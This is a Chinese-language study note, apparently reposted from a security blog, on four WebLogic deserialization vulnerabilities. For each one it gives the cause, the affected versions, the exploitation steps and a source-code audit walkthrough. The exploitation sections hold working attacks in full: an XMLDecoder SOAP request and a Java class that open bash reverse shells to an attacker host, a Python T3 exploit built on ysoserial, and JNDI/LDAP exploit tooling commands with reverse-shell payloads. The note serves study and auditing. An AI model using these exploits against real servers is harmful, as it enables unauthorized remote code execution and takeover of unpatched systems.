【学习笔记】Weblogic反序列化审计(原理+利用)

admin 2023年7月9日13:33:47评论68 views字数 9645阅读32分9秒阅读模式

0x01 前言

JAVA不是很熟,打算练练手,以下内容都是参考了很多师傅的文章,并非原创,只是作为汇总+复现,内容如有错漏之处,恳请指正


0x02 目录

  • XMLDecoder反序列化漏洞(CVE-2017-10271)

  • T3协议反序列化漏洞(CVE-2018-2628)

  • IIOP反序列化漏洞(CVE-2020-2551)

  • 后反序列化RCE(CVE-2023-21839)


0x03 IDEA+VULHUB环境搭建

通过IDEA去远程调试Weblogic进行代码审计:

https://www.111com.net/jsp/203021.htmhttps://blog.csdn.net/weixin_45382656/article/details/119760331


0x04 正文

XMLDecoder反序列化漏洞(CVE-2017-10271)

原理:

Weblogic的WLS Security组件(wls-wsat.war)对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。

影响版本:

10.3.6.0.012.1.3.0.012.2.1.1.012.2.1.2.0

利用:

访问漏洞页面http://xx.com/wls-wsat/CoordinatorPortType

【学习笔记】Weblogic反序列化审计(原理+利用)

burpsuite抓包改包,传入XML数据,POC如下,反弹shell:

POST /wls-wsat/CoordinatorPortType HTTP/1.1Host: 192.168.206.209:7001User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeUpgrade-Insecure-Requests: 1Cache-Control: max-age=0Content-Type: text/xmlContent-Length: 643
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java version="1.4.0" class="java.beans.XMLDecoder"><void class="java.lang.ProcessBuilder"><array class="java.lang.String" length="3"><void index="0"><string>/bin/bash</string></void><void index="1"><string>-c</string></void><void index="2"><string>bash -i &gt;&amp; /dev/tcp/192.168.206.200/4444 0&gt;&amp;1</string></void></array><void method="start"/></void></java></work:WorkContext></soapenv:Header><soapenv:Body/></soapenv:Envelope>

可以看到nc已经接收到反弹shell了

【学习笔记】Weblogic反序列化审计(原理+利用)

审计:

原理说了,由wls-wsat.war触发漏洞,所以我们web.xml使用了该组件的URL,也就是存在漏洞的页面,主要看url-pattern标签

【学习笔记】Weblogic反序列化审计(原理+利用)

/wls-wsat/CoordinatorPortType/wls-wsat/RegistrationPortTypeRPC/wls-wsat/ParticipantPortType/wls-wsat/RegistrationRequesterPortType/wls-wsat/CoordinatorPortType11/wls-wsat/RegistrationPortTypeRPC11/wls-wsat/ParticipantPortType11/wls-wsat/RegistrationRequesterPortType11

找到了漏洞页面后,按照上面的POC利用,是要向页面传入XML数据,而处理POST传进来的XML数据是在

weblogic/wsee/jaxweblogic/wsee/jaxws/workcontext/WorkContextServerTube类的processRequest方法中,其参数var1是我们传入的XML数据

【学习笔记】Weblogic反序列化审计(原理+利用)

其中,第43行调用了readHeaderOld方法来处理XML数据,我们跟进readHeaderOld方法(快捷键CTRL+ALT+B到代码块

【学习笔记】Weblogic反序列化审计(原理+利用)

获取了XML数据后,第108行调用ByteArrayOutputStream,转换为字节流,赋值var4,第112行再将其传入给WorkContextXmlInputAdapter

我们跟进对象的类WorkContextXmlInputAdapter,看到其实就是将var4传进了XMLDecoder

【学习笔记】Weblogic反序列化审计(原理+利用)


我们再回到刚才的readHeaderOld方法,第112行获得了xmlDecoder对象后,第113行又调用了receive方法,我们跟进receive

【学习笔记】Weblogic反序列化审计(原理+利用)

【学习笔记】Weblogic反序列化审计(原理+利用)


receive方法中,第71行将参数又传给了receiveRequest,我们继续跟进

【学习笔记】Weblogic反序列化审计(原理+利用)


receiveRequest方法中,第165行将参数又传给WorkContextEntryImpl的readEntry方法,我们继续跟进

【学习笔记】Weblogic反序列化审计(原理+利用)

readEntry方法中,第72行将参数又传给了readUTF方法,继续跟进

【学习笔记】Weblogic反序列化审计(原理+利用)

readUTF中,对xmlDecoder对象进行了反序列化(readObject),触发调用了类中的方法,我们可以看到,刚才上面的代码都没有过滤用户传入的XML数据,从而导致恶意代码被解析


T3协议反序列化漏洞(CVE-2018-2628)

原理:

远程攻击者可利用该漏洞在未授权的情况下发送攻击数据,通过T3协议(T3 协议是 Weblogic RMI 调用时的通信协议)在Weblogic Server中执行反序列化操作,利用RMI机制(远程方法调用,JAVA对象A运行在主机1上,对象B运行在主机2上,那么可以通过对象A去远程调用对象B的方法)的缺陷,通过 JRMP 协议(Java RMI 的基础通信协议是 JRMP)达到执行任意反序列化 payload 的目的

影响版本:

10.3.6.012.1.3.012.2.1.112.2.1.2


利用:

直接放python的POC,我这里payload直接是ping dnslog

POC就是把 ysoserial 生成的 payload 变成 T3 协议里的数据格式,包含三部分:

1、Header,这代表了数据包长度 2、T3 Header 3、反序列化标志

from os import popenimport struct # 负责大小端的转换 import subprocessfrom sys import stdoutimport socketimport reimport binascii

def generatePayload(gadget,cmd): YSO_PATH = "/home/kali/Desktop/5月2日/Shiro RCE/ysoserial.jar" popen = subprocess.Popen(['java','-jar',YSO_PATH,gadget,cmd],stdout=subprocess.PIPE) return popen.stdout.read()

def T3Exploit(ip,port,payload): sock =socket.socket(socket.AF_INET,socket.SOCK_STREAM) sock.connect((ip,port)) handshake = "t3 12.2.3nAS:255nHL:19nMS:10000000nn" sock.sendall(handshake.encode()) data = sock.recv(1024) compile = re.compile("HELO:(.*).0.false") match = compile.findall(data.decode()) if match: print("Weblogic: "+"".join(match)) else: print("Not Weblogic") return header = binascii.a2b_hex(b"00000000") t3header = binascii.a2b_hex(b"016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006") desflag = binascii.a2b_hex(b"fe010000") payload = header + t3header +desflag+ payload payload = struct.pack(">I",len(payload)) + payload[4:] sock.send(payload)if __name__ == "__main__": ip = "192.168.206.209" port = 7001 gadget = "CommonsCollections1" cmd = "ping 62tict.dnslog.cn" payload = generatePayload(gadget,cmd)    T3Exploit(ip,port,payload)


可以看到,dnslog已经收到数据了,证明漏洞存在

【学习笔记】Weblogic反序列化审计(原理+利用)


审计:

借一张别人的图,来说明T3协议

【学习笔记】Weblogic反序列化审计(原理+利用)

如果看了上面的POC,你会发现我们需要先发请求包头(t3 12.2.3nAS:255nHL:19nMS:10000000nn),再发请求主体

为什么需要发送T3协议头?

如果我们直接将序列化好的数据发送过去的话,weblogic服务器是不会响应的,所以需要先发送T3协议头,它会返回weblogic的版本

请求主体

ac ed 00 05是反序列化标志,因为T3 协议中反序列化数据包前面都有 fe 01 00 00 ,所以这里的标志相当于是 fe 01 00 00 ac ed 00 05,就是说在 fe 01 00 00 ac ed 00 05后的内容,我们需要对后面这一串序列化数据进行恶意构造。


ok,有了基本的概念,我们开始审计,反序列化的入口类在InboundMsgAbbrev(通过工具栏Navigate->classes直接搜关键字),我们在readObject处下个断点调试

【学习笔记】Weblogic反序列化审计(原理+利用)

经过调试的dubug信息var2=0,可以看到switch语句,当值为0时,将参数var1传入

ServerChannelInputStream,所以我们跟进

【学习笔记】Weblogic反序列化审计(原理+利用)


ServerChannelInputStream这个类的作用是处理请求包协议头,我们继续跟进getServerChannel

【学习笔记】Weblogic反序列化审计(原理+利用)


可以看到第241行的this.connection,getChannel是其方法,这是什么,我们往上翻,发现它是MsgAbbrevJVMConnection这个类,主要存储了一些 RMI 连接的数据,包括端口地址等,跟进getChannel,开始处理T3协议

【学习笔记】Weblogic反序列化审计(原理+利用)

【学习笔记】Weblogic反序列化审计(原理+利用)


T3协议头处理完后,我们再回到刚才InboundMsgAbbrev类,再一路跟进到resolveClass方法,resolveClass() 方法是用来处理类的,这些类在经过反序列化之后会走到 resolveClass() 方法这里,

可以发现调试后,此时dubug信息的var2就是我们的AnnotationInvocationHandler类,也就是代理类

【学习笔记】Weblogic反序列化审计(原理+利用)

【学习笔记】Weblogic反序列化审计(原理+利用)

后续就是CC1链环节


IIOP反序列化漏洞(CVE-2020-2551)

原理:

该漏洞是由于调用远程对象的实现存在缺陷,导致序列化对象可以任意构造,在使用之前未经安全检查,攻击者可以通过 IIOP 协议远程访问 Weblogic Server 服务器上的远程接口,传入恶意数据,从而获取服务器权限并在未授权情况下远程执行任意代码

影响版本:

10.3.6.012.1.3.012.2.1.312.2.1.4

利用:

exp.java代码,payload是反弹shell

import java.io.IOException;public class exp {  static{    try {      java.lang.Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/192.168.206.200/4444 0>&1"});    } catch (IOException e) {      e.printStackTrace();    }  }  public static void main(String[] args) {      }}

编译exp.java为class字节码文件

javac exp.java -source 1.6 -target 1.6

【学习笔记】Weblogic反序列化审计(原理+利用)

如果编译报错,安装java8环境后,再试一遍

cd /optcurl http://www.joaomatosf.com/rnp/java_files/jdk-8u20-linux-x64.tar.gz -o jdk-8u20-linux-x64.tar.gztar zxvf jdk-8u20-linux-x64.tar.gzrm -rf /usr/bin/java*ln -s /opt/jdk1.8.0_20/bin/j* /usr/binjavac -version

通过python在exp.class的目录开启WEB服务

python3 -m http.server 80

【学习笔记】Weblogic反序列化审计(原理+利用)

使用marshalsec工具启动rmi服务

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.206.200/#exp" 12345

使用weblogic_CVE_2020_2551.jar工具,执行exp

下载地址:https://github.com/zzwlpx/weblogicPoc/releases/tag/1.0

java -jar weblogic_CVE_2020_2551.jar 192.168.206.209 7001 rmi://192.168.206.200:12345/exp

审计:

漏洞的出发点在ObjectStreamClass的readObject方法

【学习笔记】Weblogic反序列化审计(原理+利用)


根据网上的POC利用截图,一步步逆向分析回去,向上跟踪哪个方法调用了它,可以发现ValueHandlerImpl的readValueData方法,第173行最终调用了readObject方法

【学习笔记】Weblogic反序列化审计(原理+利用)


再继续往上走,发现同方法的readValue函数这里调用了上面的readValueData方法(第61行)

【学习笔记】Weblogic反序列化审计(原理+利用)


继续追踪分析,可以发现主要的函数weblogic.iiop. IIOPInputStream方法中调用了上面的readValue方法(第2270行)

【学习笔记】Weblogic反序列化审计(原理+利用)

这个漏洞是通过JNDI注入,需要寻找到weblogic中的工厂类,进行封装发送,可以使用weblogic.jndi.WLInitialContextFactory该工厂方法

【学习笔记】Weblogic反序列化审计(原理+利用)


poc如下

    public static void main(String[] args) throws Exception{        Hashtable<String, String> env = new Hashtable<String, String>();        env.put("java.naming.factory.initial", "weblogic.jndi.WLInitialContextFactory");        env.put("java.naming.provider.url", "iiop://127.0.0.1:7001");        Context context = new InitialContext(env);        JtaTransactionManager jtaTransactionManager = new JtaTransactionManager();        jtaTransactionManager.setUserTransactionName("rmi://127.0.0.1:8822/wlc");        context.rebind("test",jtaTransactionManager);            }


后反序列化RCE(CVE-2023-21839)

原理:

通过Weblogic t3/iiop协议支持远程绑定对象bind到服务端,当远程对象继承自OpaqueReference时,lookup查看远程对象时,服务端调用远程对getReferent方法,其中的remoteJNDIName参数可控,导致攻击者可利用rmi/ldap远程协议进行远程命令执行

影响版本:

Oracle WebLogic Server 12.2.1.3.0Oracle WebLogic Server 12.2.1.4.0Oracle WebLogic Server 14.1.1.0.0

利用:

用JNDIExploit-1.2-SNAPSHOT.jar设置监听

下载:https://github.com/Mr-xn/JNDIExploit-1/releases/tag/v1.2

java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 192.168.206.200

【学习笔记】Weblogic反序列化审计(原理+利用)

再nc监听一下

nc -lvvp 4444

下载利用工具https://github.com/4ra1n/CVE-2023-21839


进入到文件目录的cmd子目录下,通过go语言编译


go build -o CVE-2023-21839 //编译文件

执行EXP

./CVE-2023-21839 -ip 192.168.206.209 -port 7001 -ldap ldap://192.168.206.200:1389/Basic/ReverseShell/192.168.206.200/4444

【学习笔记】Weblogic反序列化审计(原理+利用)

已经反弹shell成功了

【学习笔记】Weblogic反序列化审计(原理+利用)


审计:

网传POC如下,此漏洞为后反序列化,bind之后不会触发漏洞,当执行lookup方法之后才会触发漏洞

import weblogic.deployment.jms.ForeignOpaqueReference;import javax.naming.Context;import javax.naming.InitialContext;import javax.naming.NamingException;import java.lang.reflect.Field;import java.util.Hashtable;
public class Main { static String JNDI_FACTORY = "weblogic.jndi.WLInitialContextFactory"; private static InitialContext getInitialContext(String url) throws NamingException { Hashtable<String,String> env = new Hashtable<String,String>(); env.put(Context.INITIAL_CONTEXT_FACTORY,JNDI_FACTORY); env.put(Context.PROVIDER_URL,url); return new InitialContext(env); } public static void main(String[] args) throws Exception { InitialContext c = getInitialContext("t3://xx.xx.xx.xx:7001"); Hashtable<String,String> env = new Hashtable<String,String>(); env.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.rmi.registry.RegistryContextFactory"); ForeignOpaqueReference f = new ForeignOpaqueReference(); Field jndiEnvironment = ForeignOpaqueReference.class.getDeclaredField("jndiEnvironment"); jndiEnvironment.setAccessible(true); jndiEnvironment.set(f,env); Field remoteJNDIName = ForeignOpaqueReference.class.getDeclaredField("remoteJNDIName"); remoteJNDIName.setAccessible(true); remoteJNDIName.set(f,"ldap://xx.xx.xx.xx:1389/exp"); c.bind("sss",f); c.lookup("sss"); }}

漏洞由WLNamingManager类的getObjectInstance方法作为入口,当boundObject是OpaqueReference对象或者子类的对象时,会调用这个boundObject的getReferent方法

【学习笔记】Weblogic反序列化审计(原理+利用)

ForeignOpaqueReference类方法满足这个条件,且它的getReferent方法,通过构造jndiEnvironment来让代码执行到lookup函数

【学习笔记】Weblogic反序列化审计(原理+利用)

【学习笔记】Weblogic反序列化审计(原理+利用)

可以通过利用WLInitialContextFactory找到上下文中传递的漏洞类,具体参考以下链接:

https://mp.weixin.qq.com/s?__biz=MzI0NzEwOTM0MA==&mid=2652502091&idx=1&sn=02000f561de5e7b0b494017f1b0d964a&chksm=f2585bf8c52fd2ee92efc3a92c25c60d9362b564ac0c82d5bc88061bd46d3b18c67f8baa2992&mpshare=1&scene=1&srcid=0705OiTDNCg0cECTaYfmito1&sharer_sharetime=1688524867644&sharer_shareid=370f2dea8336f85c46544adaaff5a3f9#rd

原文始发于微信公众号(韬光养晦安全):【学习笔记】Weblogic反序列化审计(原理+利用)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年7月9日13:33:47
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【学习笔记】Weblogic反序列化审计(原理+利用)https://cn-sec.com/archives/1862584.html

发表评论

匿名网友 填写信息